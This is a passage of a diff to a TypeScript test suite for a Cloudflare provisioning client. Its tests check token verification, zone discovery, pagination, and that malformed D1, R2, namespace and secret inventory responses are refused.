+  });
 
-describe('CloudflareProvisioningClient', () => {
   it('fails closed for unfenced writes and request timeouts outside the lease TTL', async () => {
     let providerWrites = 0;
     const client = new CloudflareProvisioningClient({
@@ -810,7 +1023,7 @@ describe('CloudflareProvisioningClient', () => {
     }
   });
 
-  it('downloads an export into durable storage and records integrity', async () => {
+  it('downloads an identity export into durable storage and records integrity', async () => {
     const bytes = new TextEncoder().encode('CREATE TABLE durable(id TEXT);');
     const stored: Uint8Array[] = [];
     const exportStore: DurableDatabaseExportStore = {
@@ -829,24 +1042,32 @@ describe('CloudflareProvisioningClient', () => {
         };
       },
     };
-    const request = vi.fn(async (input: string | URL | Request) => {
-      const url = new URL(
-        typeof input === 'string'
-          ? input
-          : input instanceof URL
-            ? input.href
-            : input.url,
-      );
-      if (url.hostname === 'download.example.test') {
-        return new Response(bytes, {
-          headers: { 'content-length': String(bytes.byteLength) },
+    const request = vi.fn(
+      async (input: string | URL | Request, init?: RequestInit) => {
+        const url = new URL(
+          typeof input === 'string'
+            ? input
+            : input instanceof URL
+              ? input.href
+              : input.url,
+        );
+        if (url.hostname === 'download.example.test') {
+          expect(new Request(input, init).headers.get('accept-encoding')).toBe(
+            'identity',
+          );
+          return new Response(bytes, {
+            headers: { 'content-length': String(bytes.byteLength) },
+          });
+        }
+        expect(new Request(input, init).headers.has('accept-encoding')).toBe(
+          false,
+        );
+        return envelope({
+          status: 'complete',
+          result: { signed_url: 'https://download.example.test/export.sql' },
         });
-      }
-      return envelope({
-        status: 'complete',
-        result: { signed_url: 'https://download.example.test/export.sql' },
-      });
-    });
+      },
+    );
     const client = new CloudflareProvisioningClient({
       accountId: 'account',
       apiToken: 'token',
@@ -1205,6 +1426,9 @@ describe('CloudflareProvisioningClient', () => {
         return envelope([
           { id: 'ns-wfp', script: 'fleet-wfp' },
           { id: 'ns-plain', script: 'fleet-plain' },
+          { id: 'Z', script: 'other' },
+          { id: 'z', script: 'other' },
+          { id: 'é', script: 'other' },
         ]);
       }
       throw new Error(`unexpected Cloudflare request: ${url.href}`);
@@ -1288,6 +1512,150 @@ describe('CloudflareProvisioningClient', () => {
     await expect(client.hasDurableObjectNamespace('ns-absent')).resolves.toBe(
       false,
     );
+    const namespaceRequestCount = () =>
+      request.mock.calls.filter(([input]) => {
+        const url = new URL(
+          typeof input === 'string'
+            ? input
+            : input instanceof URL
+              ? input.href
+              : input.url,
+        );
+        return url.pathname.endsWith('/workers/durable_objects/namespaces');
+      }).length;
+    let priorNamespaceRequests = namespaceRequestCount();
+    await expect(client.existingDurableObjectNamespaceIds([])).resolves.toEqual(
+      [],
+    );
+    expect(namespaceRequestCount()).toBe(priorNamespaceRequests);
+    await expect(
+      client.existingDurableObjectNamespaceIds([
+        'ns-plain',
+        'missing',
+        'ns-wfp',
+        'ns-plain',
+        'é',
+        'z',
+        'Z',
+      ]),
+    ).resolves.toEqual(['Z', 'ns-plain', 'ns-wfp', 'z', 'é']);
+    const namespaceTraversalRequests =
+      namespaceRequestCount() - priorNamespaceRequests;
+    expect(namespaceTraversalRequests).toBeGreaterThan(0);
+    priorNamespaceRequests = namespaceRequestCount();
+    const maximumIds = Array.from(
+      { length: 10_000 },
+      (_, index) => `namespace-${index}`,
+    );
+    maximumIds[0] = 'ns-wfp';
+    await expect(
+      client.existingDurableObjectNamespaceIds(maximumIds),
+    ).resolves.toEqual(['ns-wfp']);
+    expect(namespaceRequestCount()).toBe(
+      priorNamespaceRequests + namespaceTraversalRequests,
+    );
+    priorNamespaceRequests = namespaceRequestCount();
+    const maximumUtf8Id = 'é'.repeat(2_048);
+    await expect(
+      client.existingDurableObjectNamespaceIds([maximumUtf8Id]),
+    ).resolves.toEqual([]);
+    expect(namespaceRequestCount()).toBe(
+      priorNamespaceRequests + namespaceTraversalRequests,
+    );
+    priorNamespaceRequests = namespaceRequestCount();
+
+    let accessorReads = 0;
+    const accessorArray = ['safe'];
+    Object.defineProperty(accessorArray, '0', {
+      enumerable: true,
+      configurable: true,
+      get() {
+        accessorReads += 1;
+        return 'unsafe';
+      },
+    });
+    const symbolArray = ['safe'];
+    Object.assign(symbolArray, { [Symbol('extra')]: true });
+    const extraArray = Object.assign(['safe'], { extra: true });
+    const holeArray = new Array<string>(1);
+    const nonArrayPrototype = ['safe'];
+    Object.setPrototypeOf(nonArrayPrototype, null);
+    const indexNotWritable = ['safe'];
+    Object.defineProperty(indexNotWritable, '0', { writable: false });
+    const indexNotEnumerable = ['safe'];
+    Object.defineProperty(indexNotEnumerable, '0', { enumerable: false });
+    const indexNotConfigurable = ['safe'];
+    Object.defineProperty(indexNotConfigurable, '0', { configurable: false });
+    const lengthNotWritable = ['safe'];
+    Object.defineProperty(lengthNotWritable, 'length', { writable: false });
+    const transparentProxy = new Proxy(['safe'], {});
+    const revoked = Proxy.revocable(['safe'], {});
+    revoked.revoke();
+    const malformedRows: readonly (readonly [string, unknown])[] = [
+      ['nonarray', { 0: 'safe', length: 1 }],
+      ['hole', holeArray],
+      ['accessor', accessorArray],
+      ['symbol', symbolArray],
+      ['extra string', extraArray],
+      ['non-Array prototype', nonArrayPrototype],
+      ['nonwritable index', indexNotWritable],
+      ['nonenumerable index', indexNotEnumerable],
+      ['nonconfigurable index', indexNotConfigurable],
+      ['nonwritable length', lengthNotWritable],
+      ['transparent proxy', transparentProxy],
+      ['revoked proxy', revoked.proxy],
+      ['empty id', ['']],
+      ['non-string id', [1]],
+      ['overlong UTF-8 id', [`${maximumUtf8Id}a`]],
+      [
+        '10,001 distinct ids',
+        Array.from({ length: 10_001 }, (_, index) => `id-${index}`),
+      ],
+      ['10,001 duplicate ids', Array.from({ length: 10_001 }, () => 'same')],
+    ];
+    for (const [label, value] of malformedRows) {
+      let error: unknown;
+      try {
+        await client.existingDurableObjectNamespaceIds(value as never);
+      } catch (caught) {
+        error = caught;
+      }
+      expect({ label, error: (error as Error | undefined)?.message }).toEqual({
+        label,
+        error: 'Durable Object namespace ID inventory is malformed',
+      });
+      expect(namespaceRequestCount(), label).toBe(priorNamespaceRequests);
+    }
+    expect(accessorReads).toBe(0);
+
+    const iteratorFailure = new Error('namespace iterator failed after match');
+    let iteratorPage = 0;
+    const iteratorClient = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'token',
+      rateCoordinator: testRateCoordinator(),
+      dispatchNamespace: 'fleet',
+      fetch: async () => {
+        iteratorPage += 1;
+        if (iteratorPage === 1) {
+          return pageArray([{ id: 'ns-wfp', script: 'fleet-wfp' }], {
+            page: 1,
+            per_page: 1,
+            count: 1,
+            total_count: 2,
+            total_pages: 2,
+          });
+        }
+        throw iteratorFailure;
+      },
+    });
+    const iteratorRejection = await iteratorClient
+      .existingDurableObjectNamespaceIds(['ns-wfp'])
+      .catch((error: unknown) => error);
+    expect((iteratorRejection as Error & { cause?: unknown }).cause).toBe(
+      iteratorFailure,
+    );
+    expect(iteratorPage).toBeGreaterThan(1);
     expect(inventory.findings.map((finding) => finding.kind)).toEqual(
       expect.arrayContaining([
         'malformed-script-registration',
@@ -1800,28 +2168,186 @@ describe('CloudflareProvisioningClient', () => {
       'dispatch-upload',
     ]);
     expect(requestUrl?.pathname).toContain('/acme-physical-candidate');
-    const entries = [...(uploadBody?.entries() ?? [])].map(
-      ([name, value]) => [name, String(value)] as const,
+    const metadata = JSON.parse(String(uploadBody?.get('metadata')));
+    expect(metadata.bindings).toEqual(
+      expect.arrayContaining([
+        {
+          name: 'MAINTENANCE',
+          type: 'durable_object_namespace',
+          class_name: 'Maintenance',
+          script_name: 'fleet-maintenance-host',
+          dispatch_namespace: 'fleet',
+        },
+        expect.objectContaining({
+          name: 'AUDIT_PROXY',
+          class_name: 'FlowsafeFleetAuditProxy',
+        }),
+        expect.objectContaining({ name: 'FLEET_SPEC_DIGEST' }),
+        expect.objectContaining({ name: 'FLEET_MAINTENANCE_CAPABILITIES' }),
+      ]),
     );
-    expect(entries).toEqual(
+    expect(metadata.tags).toContain('fleet:anchorage');
+    expect(metadata.bindings).not.toEqual(
       expect.arrayContaining([
-        ['metadata[bindings][][name]', 'MAINTENANCE'],
-        ['metadata[bindings][][type]', 'durable_object_namespace'],
-        ['metadata[bindings][][class_name]', 'Maintenance'],
-        ['metadata[bindings][][script_name]', 'fleet-maintenance-host'],
-        ['metadata[bindings][][dispatch_namespace]', 'fleet'],
-        ['metadata[bindings][][name]', 'AUDIT_PROXY'],
-        ['metadata[bindings][][class_name]', 'FlowsafeFleetAuditProxy'],
-        ['metadata[bindings][][name]', 'FLEET_SPEC_DIGEST'],
-        ['metadata[bindings][][name]', 'FLEET_MAINTENANCE_CAPABILITIES'],
-        ['metadata[tags][]', 'fleet:anchorage'],
+        expect.objectContaining({ name: 'EGRESS_PROXY' }),
       ]),
     );
-    expect(entries).not.toEqual(
-      expect.arrayContaining([['metadata[bindings][][name]', 'EGRESS_PROXY']]),
+    expect(metadata.bindings).not.toEqual(
+      expect.arrayContaining([expect.objectContaining({ type: 'service' })]),
     );
-    expect(entries).not.toEqual(
-      expect.arrayContaining([['metadata[bindings][][type]', 'service']]),
+  });
+
+  it.each([
+    200, 404, 401, 400,
+  ])('verifies the account token family first when it returns HTTP %i', async (status) => {
+    const calls: string[] = [];
+    const request = vi.fn(
+      async (input: Parameters<typeof fetch>[0], init?: RequestInit) => {
+        const url = new URL(new Request(input, init).url);
+        calls.push(url.pathname);
+        if (
+          url.pathname.endsWith('/accounts/account/tokens/verify') &&
+          status !== 200
+        ) {
+          return Response.json(
+            {
+              success: false,
+              errors: [{ code: 1000, message: 'token verification refused' }],
+            },
+            { status },
+          );
+        }
+        if (url.pathname.endsWith('/user/tokens/token-id')) {
+          return zoneAuthorityResponse(
+            new URL(
+              'https://api.cloudflare.com/client/v4/accounts/account/tokens/token-id',
+            ),
+            [],
+          ) as Response;
+        }
+        const authority = zoneAuthorityResponse(url, []);
+        if (authority) return authority;
+        if (url.pathname.endsWith('/workers/scripts'))
+          return pageArray([{ id: 'plain' }]);
+        if (url.pathname.endsWith('/workers/domains')) return pageArray([]);
+        if (url.pathname.endsWith('/subdomain'))
+          return envelope({ enabled: false, previews_enabled: false });
+        throw new Error(`unexpected request: ${url.pathname}`);
+      },
+    );
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: request,
+    });
+    const pending = client.inspectOrdinaryWorkerFootprint('plain');
+    if (status === 400) {
+      await expect(pending).rejects.toMatchObject({ status: 400 });
+    } else {
+      await expect(pending).resolves.toMatchObject({
+        workersDevEnabled: false,
+      });
+    }
+    expect(calls.filter((path) => path.endsWith('/tokens/verify'))).toEqual([
+      '/client/v4/accounts/account/tokens/verify',
+      ...([401, 404].includes(status) ? ['/client/v4/user/tokens/verify'] : []),
+    ]);
+    if (status === 200 || status === 400) {
+      expect(calls.some((path) => path.includes('/user/'))).toBe(false);
+    }
+    if ([401, 404].includes(status)) {
+      expect(calls.filter((path) => path.endsWith('/tokens/token-id'))).toEqual(
+        ['/client/v4/user/tokens/token-id'],
+      );
+    }
+  });
+
+  it('discovers zone routes with a type-less zone query and skips zones outside the four supported kinds', async () => {
+    const zones = [
+      'full',
+      'partial',
+      'secondary',
+      'internal',
+      'enterprise_zone_placeholder',
+    ].map((type) => ({ id: type, type }));
+    const requests: URL[] = [];
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        requests.push(url);
+        const authority = zoneAuthorityResponse(
+          url,
+          zones,
+          zones.map(({ id }) => ({
+            zoneId: id,
+            id: `route-${id}`,
+            pattern: `${id}.example.test/*`,
+            script: 'plain',
+          })),
+        );
+        if (authority) return authority;
+        if (url.pathname.endsWith('/workers/scripts'))
+          return pageArray([{ id: 'plain' }]);
+        if (url.pathname.endsWith('/workers/domains')) return pageArray([]);
+        if (url.pathname.endsWith('/subdomain'))
+          return envelope({ enabled: false, previews_enabled: false });
+        throw new Error(`unexpected request: ${url.pathname}`);
+      },
+    });
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('plain'),
+    ).resolves.toMatchObject({
+      zoneRoutes: ['full', 'partial', 'secondary', 'internal'].map(
+        (zoneId) => ({
+          zoneId,
+          routeId: `route-${zoneId}`,
+          pattern: `${zoneId}.example.test/*`,
+        }),
+      ),
+    });
+    const zoneQueries = requests.filter((url) =>
+      url.pathname.endsWith('/zones'),
+    );
+    expect(zoneQueries.length).toBeGreaterThan(0);
+    for (const url of zoneQueries)
+      expect(url.searchParams.has('type')).toBe(false);
+    expect(
+      requests.some((url) =>
+        url.pathname.includes('/zones/enterprise_zone_placeholder/'),
+      ),
+    ).toBe(false);
+  });
+
+  it('refuses a zone discovery row without a string type', async () => {
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        if (url.pathname.endsWith('/zones'))
+          return envelope([{ id: 'zone', account: { id: 'account' } }]);
+        const authority = zoneAuthorityResponse(url, []);
+        if (authority) return authority;
+        if (url.pathname.endsWith('/workers/scripts'))
+          return pageArray([{ id: 'plain' }]);
+        if (url.pathname.endsWith('/workers/domains')) return pageArray([]);
+        if (url.pathname.endsWith('/subdomain'))
+          return envelope({ enabled: false, previews_enabled: false });
+        throw new Error(`unexpected request: ${url.pathname}`);
+      },
+    });
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('plain'),
+    ).rejects.toThrow(
+      'Cloudflare account-wide zone discovery returned incomplete zone type metadata',
     );
   });
 
@@ -1837,7 +2363,7 @@ describe('CloudflareProvisioningClient', () => {
               : input.url,
         );
         calls.push(`${init?.method ?? 'GET'}:${url.pathname}`);
-        if (url.pathname.endsWith('/user/tokens/verify')) {
+        if (url.pathname.endsWith('/accounts/account/tokens/verify')) {
           return envelope({ id: 'token-id', status: 'active' });
         }
         if (url.pathname.endsWith('/accounts/account/tokens/token-id')) {
@@ -1875,7 +2401,7 @@ describe('CloudflareProvisioningClient', () => {
       client.disableControlWorkerPublicAccess('fleet-state'),
     ).rejects.toThrow(/every zone/);
     expect(calls).toEqual([
-      'GET:/client/v4/user/tokens/verify',
+      'GET:/client/v4/accounts/account/tokens/verify',
       'GET:/client/v4/accounts/account/tokens/token-id',
     ]);
   });
@@ -2124,12 +2650,9 @@ describe('CloudflareProvisioningClient', () => {
     )?.[1]?.body;
     expect(controlUpload).toBeInstanceOf(FormData);
     expect(
-      [...((controlUpload as FormData).entries() ?? [])].map(
-        ([name, value]) => [name, String(value)],
-      ),
-    ).toEqual(
-      expect.arrayContaining([['metadata[keep_bindings][]', 'secret_text']]),
-    );
+      JSON.parse(String((controlUpload as FormData).get('metadata')))
+        .keep_bindings,
+    ).toEqual(['secret_text']);
     await fenced(client, () =>
       client.disableControlWorkerPublicAccess('fleet-state'),
     );
@@ -2659,6 +3182,65 @@ describe('CloudflareProvisioningClient', () => {
     ).rejects.toThrow(/unidentified namespace/);
   });
 
+  it('refuses explicit null D1 result rows instead of reporting an empty query', async () => {
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async () => envelope([{ success: true, results: null }]),
+    });
+    await expect(
+      client.queryDatabase('database-id', 'SELECT 1'),
+    ).rejects.toThrow();
+  });
+
+  it('refuses explicit null active-version bindings instead of reporting an absent digest', async () => {
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        if (url.pathname.endsWith('/deployments'))
+          return envelope({
+            deployments: [
+              { versions: [{ version_id: 'version', percentage: 100 }] },
+            ],
+          });
+        return envelope({ resources: { bindings: null } });
+      },
+    });
+    await expect(client.inspectActiveWorkerRoute('plain')).rejects.toThrow();
+  });
+
+  it('refuses explicit null R2 buckets instead of completing empty inventory', async () => {
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      plane: 'plain-worker',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async () => envelope({ buckets: null }),
+    });
+    const options = canonicalFleetInventoryRunOptions({
+      databaseNamePrefix: 'fleet-',
+      scriptNamePrefix: 'fleet-',
+      includeR2Buckets: true,
+    });
+    const stage = { step: 'r2-buckets', jurisdictionOrdinal: 0 } as const;
+    await expect(
+      fenced(client, () =>
+        cloudflareFleetInventoryContext(client).advanceStage({
+          stage,
+          options,
+          progress: initialFleetInventoryProgress(stage, 1),
+          maxProviderRequests: 9,
+        }),
+      ),
+    ).rejects.toThrow();
+  });
+
   it('forwards anonymous and numbered D1 parameters without rewriting SQL text', async () => {
     const bodies: unknown[] = [];
     const client = new CloudflareProvisioningClient({
@@ -2895,6 +3477,13 @@ describe('CloudflareProvisioningClient', () => {
     ).resolves.toBeUndefined();
     expect(versionReads).toBe(reads);
   });
+
+  it('drains the recorded world into the frozen golden inventory and request sequence', async () => {
+    const { requests, inventory } = await runFleetInventoryDrain();
+
+    expect(inventory).toEqual(DRAIN_BASELINE_INVENTORY);
+    expect(requests).toEqual(DRAIN_BASELINE_REQUESTS);
+  });
 });
 
 function activeRouteClient(
@@ -2934,3 +3523,491 @@ function activeRouteClient(
     },
   });
 }
+
+describe('inventory absence proofs', () => {
+  const readers = [
+    {
+      name: 'R2 emptiness',
+      path: '/client/v4/accounts/account/r2/buckets/bucket/objects',
+      read: (client: CloudflareProvisioningClient) =>
+        client.assertR2BucketEmpty({
+          name: 'DATA',
+          bucketName: 'bucket',
+          jurisdiction: 'default',
+        }),
+    },
+    {
+      name: 'namespace IDs',
+      path: '/client/v4/accounts/account/workers/durable_objects/namespaces',
+      read: (client: CloudflareProvisioningClient) =>
+        client.existingDurableObjectNamespaceIds(['target']),
+    },
+    {
+      name: 'namespace parent',
+      path: '/client/v4/accounts/account/workers/durable_objects/namespaces',
+      read: (client: CloudflareProvisioningClient) =>
+        client.listDurableObjectNamespaces('target-script'),
+    },
+  ];
+  function fixture(path: string, reply: (url: URL) => Response) {
+    const requests: URL[] = [];
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        expect(url.pathname).toBe(path);
+        requests.push(url);
+        return reply(url);
+      },
+    });
+    return { client, requests };
+  }
+  it.each([
+    {
+      label: 'null errors and messages',
+      info: { page: 1, per_page: 100, total_count: 1, total_pages: 1 },
+    },
+    { label: 'null errors and result_info', info: null },
+  ])('accepts $label in database inventory and returns its rows', async ({
+    info,
+  }) => {
+    const { client, requests } = fixture(
+      '/client/v4/accounts/account/d1/database',
+      (url) =>
+        url.searchParams.get('page') === '2'
+          ? envelope([])
+          : Response.json({
+              success: true,
+              errors: null,
+              messages: null,
+              result: [{ uuid: 'db', name: 'database' }],
+              result_info: info,
+            }),
+    );
+    await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([
+      { databaseId: 'db', name: 'database' },
+    ]);
+    expect(requests).toHaveLength(2);
+  });
+  it('accepts null errors and result_info as a single empty database page', async () => {
+    const { client, requests } = fixture(
+      '/client/v4/accounts/account/d1/database',
+      () =>
+        Response.json({
+          success: true,
+          errors: null,
+          result: [],
+          result_info: null,
+        }),
+    );
+    await expect(client.listOrdinaryWorkerDatabases()).resolves.toEqual([]);
+    expect(requests).toHaveLength(1);
+  });
+  const malformed = [
+    { label: 'missing result', body: { success: true } },
+    { label: 'missing success', body: { result: [] } },
+    { label: 'failed success', body: { success: false, result: [] } },
+    { label: 'null result', body: { success: true, result: null } },
+    { label: 'false result', body: { success: true, result: false } },
+    { label: 'string result', body: { success: true, result: 'invalid' } },
+    {
+      label: 'error metadata',
+      body: {
+        success: true,
+        result: [],
+        errors: [{ code: 1000, message: 'x' }],
+      },
+    },
+    {
+      label: 'non-array non-null errors',
+      body: { success: true, result: [], errors: 'bad' },
+    },
+    {
+      label: 'non-object result_info',
+      body: { success: true, result: [], result_info: 'bad' },
+    },
+    {
+      label: 'continuing empty page',
+      body: { success: true, result: [], result_info: { cursor: 'next' } },
+    },
+    {
+      label: 'invalid cursor',
+      body: { success: true, result: [], result_info: { cursor: 1 } },
+    },
+    {
+      label: 'invalid page info',
+      body: { success: true, result: [], result_info: [] },
+    },
+  ];
+  it.each(
+    readers.flatMap((reader) =>
+      malformed.map((input) => ({ ...reader, ...input })),
+    ),
+  )('$name refuses $label', async ({ path, read, body }) => {
+    const { client } = fixture(path, (url) =>
+      Number(url.searchParams.get('page') ?? '1') > 1
+        ? envelope([])
+        : Response.json(body),
+    );
+    await expect(read(client)).rejects.toThrow();
+  });
+  it.each(
+    readers,
+  )('$name accepts a successful empty list and preserves permission failure', async ({
+    path,
+    read,
+    name,
+  }) => {
+    const empty = fixture(path, () => envelope([]));
+    expect(await read(empty.client)).toEqual(
+      name === 'R2 emptiness' ? undefined : [],
+    );
+    const denied = fixture(path, () =>
+      Response.json({ success: false, errors: [{ code: 1 }] }, { status: 403 }),
+    );
+    await expect(read(denied.client)).rejects.toMatchObject({ status: 403 });
+  });
+  it.each(
+    readers,
+  )('$name rejects non-JSON and partial success responses', async ({
+    path,
+    read,
+  }) => {
+    for (const response of [
+      new Response('{"success":true,"result":[]}', {
+        headers: { 'Content-Type': 'text/plain' },
+      }),
+      Response.json({ success: true, result: [] }, { status: 206 }),
+    ]) {
+      const { client } = fixture(path, () => response);
+      await expect(read(client)).rejects.toThrow();
+    }
+  });
+  it.each([
+    {},
+    { key: '' },
+    { key: null },
+    { key: 0 },
+    { key: 'present' },
+    null,
+  ])('R2 refuses a yielded row %#', async (row) => {
+    const reader = readers[0];
+    if (!reader) throw new Error('missing R2 reader');
+    const { client } = fixture(reader.path, () => envelope([row]));
+    await expect(reader.read(client)).rejects.toThrow();
+  });
+  it.each([
+    {},
+    { id: '' },
+    { id: null },
+    { id: 1 },
+  ])('namespace readers refuse incomplete IDs %#', async (row) => {
+    for (const reader of readers.slice(1)) {
+      const { client } = fixture(reader.path, (url) =>
+        Number(url.searchParams.get('page') ?? '1') > 1
+          ? envelope([])
+          : envelope([{ ...row, script: 'target-script' }]),
+      );
+      await expect(reader.read(client)).rejects.toThrow();
+    }
+  });
+  it.each([
+    undefined,
+    '',
+    null,
+    1,
+  ])('parent reader refuses incomplete association %#', async (script) => {
+    const reader = readers[2];
+    if (!reader) throw new Error('missing parent reader');
+    const { client } = fixture(reader.path, (url) =>
+      Number(url.searchParams.get('page') ?? '1') > 1
+        ? envelope([])
+        : envelope([{ id: 'target', script }]),
+    );
+    await expect(reader.read(client)).rejects.toThrow();
+  });
+  it('retains exact ID membership without requiring an unused parent association', async () => {
+    const reader = readers[1];
+    if (!reader) throw new Error('missing ID reader');
+    const { client } = fixture(reader.path, (url) =>
+      Number(url.searchParams.get('page') ?? '1') > 1
+        ? envelope([])
+        : envelope([{ id: 'target' }]),
+    );
+    expect(await reader.read(client)).toEqual(['target']);
+  });
+  it.each(readers.slice(1))('$name refuses a malformed later page', async ({
+    path,
+    read,
+  }) => {
+    const { client, requests } = fixture(path, (url) =>
+      Number(url.searchParams.get('page') ?? '1') === 1
+        ? envelope([{ id: 'other', script: 'other' }])
+        : Response.json({ success: true }),
+    );
+    await expect(read(client)).rejects.toThrow();
+    expect(requests).toHaveLength(2);
+  });
+  it.each(
+    readers
+      .slice(1)
+      .flatMap((reader) => [1, 2].map((gap) => ({ ...reader, gap }))),
+  )('$name refuses a numbered gap on page $gap', async ({
+    path,
+    read,
+    gap,
+  }) => {
+    const { client, requests } = fixture(path, (url) => {
+      const page = Number(url.searchParams.get('page') ?? '1');
+      const result =
+        page < gap
+          ? [{ id: 'other', script: 'other' }]
+          : page === gap
+            ? []
+            : [{ id: 'target', script: 'target-script' }];
+      return Response.json({
+        success: true,
+        result,
+        result_info: { page, per_page: 1, total_pages: gap + 1 },
+      });
+    });
+    await expect(read(client)).rejects.toThrow();
+    expect(requests).toHaveLength(gap);
+  });
+  it.each(readers.slice(1))('$name completes numbered pagination', async ({
+    path,
+    read,
+  }) => {
+    const { client, requests } = fixture(path, (url) => {
+      const page = Number(url.searchParams.get('page') ?? '1');
+      return Response.json({
+        success: true,
+        result:
+          page === 1
+            ? [{ id: 'other', script: 'other' }]
+            : page === 2
+              ? [{ id: 'target', script: 'target-script' }]
+              : [],
+        result_info: { page, per_page: 1, total_count: 2, total_pages: 2 },
+      });
+    });
+    expect(await read(client)).toEqual(['target']);
+    expect(
+      requests.map((url) => Number(url.searchParams.get('page') ?? '1')),
+    ).toEqual([1, 2, 3]);
+  });
+});
+
+describe('inventory proof consumers', () => {
+  it.each([
+    { name: 'target' },
+    { uuid: '', name: 'target' },
+    { uuid: 42, name: 'target' },
+    { uuid: 'database' },
+    { uuid: 'database', name: '' },
+    { uuid: 'database', name: 42 },
+  ])('D1 readers refuse incomplete identities %#', async (row) => {
+    for (const read of [
+      (client: CloudflareProvisioningClient) => client.findDatabase('target'),
+      (client: CloudflareProvisioningClient) =>
+        client.listOrdinaryWorkerDatabases({ name: 'target' }),
+    ]) {
+      const client = new CloudflareProvisioningClient({
+        plane: 'plain-worker',
+        accountId: 'account',
+        apiToken: 'inert',
+        rateCoordinator: testRateCoordinator(),
+        fetch: async (input, init) => {
+          const page = Number(
+            new URL(new Request(input, init).url).searchParams.get('page') ??
+              '1',
+          );
+          return envelope(page === 1 ? [row] : []);
+        },
+      });
+      await expect(read(client)).rejects.toThrow(/D1/);
+    }
+  });
+  it.each([
+    {},
+    { namespace_name: '' },
+    { namespace_name: 42 },
+  ])('refuses unknown namespace identity before creating %#', async (row) => {
+    const writes: string[] = [];
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      dispatchNamespace: 'fleet',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        const url = new URL(request.url);
+        if (request.method !== 'GET') writes.push(request.method);
+        if (url.pathname.endsWith('/namespaces') && request.method === 'GET')
+          return envelope(
+            Number(url.searchParams.get('page') ?? '1') === 1 ? [row] : [],
+          );
+        return envelope({
+          namespace_name: 'fleet',
+          trusted_workers: false,
+          script_count: 0,
+        });
+      },
+    });
+    await expect(
+      fenced(client, () => client.ensureDispatchNamespace()),
+    ).rejects.toThrow(/namespace/);
+    expect(writes).toEqual([]);
+  });
+  const secretReaders = [
+    {
+      name: 'ordinary read',
+      run: (client: CloudflareProvisioningClient) =>
+        client.listOrdinaryWorkerSecretNames('worker'),
+    },
+    {
+      name: 'control revoke',
+      run: (client: CloudflareProvisioningClient) =>
+        client.revokeControlSecrets('worker'),
+    },
+    {
+      name: 'control convergence',
+      run: (client: CloudflareProvisioningClient) =>
+        client.putControlSecrets('worker', {}),
+    },
+    {
+      name: 'dispatch revoke',
+      run: (client: CloudflareProvisioningClient) =>
+        client.revokeDispatchSecrets('worker'),
+    },
+    {
+      name: 'dispatch convergence',
+      run: (client: CloudflareProvisioningClient) =>
+        client.putDispatchSecrets('worker', {
+          deploymentIdentity: 'identity',
+          maintenanceAdmin: 'maintenance',
+        }),
+    },
+  ];
+  it.each(
+    secretReaders.flatMap((reader) =>
+      [undefined, [{ name: 42 }], [{}]].map((result) => ({
+        ...reader,
+        result,
+      })),
+    ),
+  )('$name rejects incomplete secret inventory %#', async ({ run, result }) => {
+    const writes: string[] = [];
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      dispatchNamespace: 'fleet',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        if (request.method !== 'GET') writes.push(request.method);
+        return Response.json({ success: true, result });
+      },
+    });
+    await expect(
+      fenced(client, async () => {
+        await run(client);
+      }),
+    ).rejects.toThrow();
+    expect(writes).toEqual([]);
+  });
+  it.each(
+    secretReaders.slice(1),
+  )('$name refuses incomplete post-mutation readback', async ({ run }) => {
+    let reads = 0;
+    let writes = 0;
+    const client = new CloudflareProvisioningClient({
+      accountId: 'account',
+      apiToken: 'inert',
+      dispatchNamespace: 'fleet',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const request = new Request(input, init);
+        if (request.method !== 'GET') {
+          writes++;
+          return envelope(null);
+        }
+        return ++reads === 1
+          ? envelope([{ name: 'OLD_SECRET' }])
+          : Response.json({ success: true });
+      },
+    });
+    await expect(
+      fenced(client, async () => {
+        await run(client);
+      }),
+    ).rejects.toThrow();
+    expect(writes).toBe(1);
+    expect(reads).toBe(2);
+  });
+  it.each([
+    '/workers/scripts',
+    '/workers/domains',
+    '/zones',
+    '/workers/routes',
+  ])('footprint refuses an incomplete %s listing', async (suffix) => {
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
+      accountId: 'account',
+      apiToken: 'inert',
+      rateCoordinator: testRateCoordinator(),
+      fetch: async (input, init) => {
+        const url = new URL(new Request(input, init).url);
+        if (url.pathname.endsWith(suffix))
+          return Response.json({ success: true });
+        return zoneAuthorityResponse(url, ['zone-1'], []) ?? envelope([]);
+      },
+    });
+    await expect(
+      client.inspectOrdinaryWorkerFootprint('worker'),
+    ).rejects.toThrow();
+  });
+  it.each([
+    undefined,
+    {},
+    { items: null },
+    [],
+  ])('version inventory refuses missing items %#', async (result) => {
+    const client = new CloudflareProvisioningClient({
+      plane: 'plain-worker',
